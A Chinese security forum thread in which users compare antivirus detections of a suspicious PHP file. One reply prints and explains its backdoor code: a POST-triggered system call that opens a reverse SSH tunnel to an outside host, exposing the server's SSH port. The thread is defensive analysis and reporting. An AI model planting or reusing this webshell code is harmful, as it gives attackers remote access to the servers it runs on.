可疑php文件

显示全部楼层 · 发表于 2022-4-20 09:51:12

微步报毒（看行为也看不出为什么要报）
VT目前1/58

显示全部楼层 · 发表于 2022-4-20 09:54:21

安天miss,火狐浏览器报毒

显示全部楼层 · 发表于 2022-4-20 09:54:42

腾讯每次这种格式的都报

显示全部楼层 · 发表于 2022-4-20 11:19:16

火绒报后门病毒

显示全部楼层 · 发表于 2022-4-20 11:24:15

卡巴

Hello,

New malicious software was found in the attached file. Its detection will be included in the next update.
Backdoor.PHP.WebShell.us
Thank you for your help.

显示全部楼层 · 发表于 2022-4-20 13:15:54

本帖最后由 hackerbob 于 2022-4-21 11:43 编辑

是php小马
针对的是linux服务器
php代码分析：

<?php
if (isset($_POST['connect'])) {
system('ssh cdu-reverse-ssh@staff.zycdut.net -p32022 -N -T -R 43022:localhost:22 > /dev/null &');
}
?>
<?php
system('ps -fU www-data');
?>

复制代码

isset($_POST['connect'])
接收表单数据，判断表单中是否有connect项，这是密码
如果有则执行下面这条命令

system('ssh cdu-reverse-ssh@staff.zycdut.net -p32022 -N -T -R 43022:localhost:22 > /dev/null &');
运行shell命令，远程连接 staff.zycdut.net 这个域名，端口是32022
system('ps -fU www-data')
也是运行shell命令，显示进程 www-data
其余的都不是php代码，是前端页面代码

显示全部楼层 · 发表于 2022-4-20 17:54:55

360

显示全部楼层 · 发表于 2022-4-20 18:27:10

本帖最后由 Tom179090 于 2022-4-20 19:28 编辑

过BD。已上报。

The analysis of the file has been completed.

The file is malicious and detection will be added in the next couple of updates.

显示全部楼层 · 发表于 2022-4-20 18:48:31

G DATA 未报

[可疑文件] 可疑php文件

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源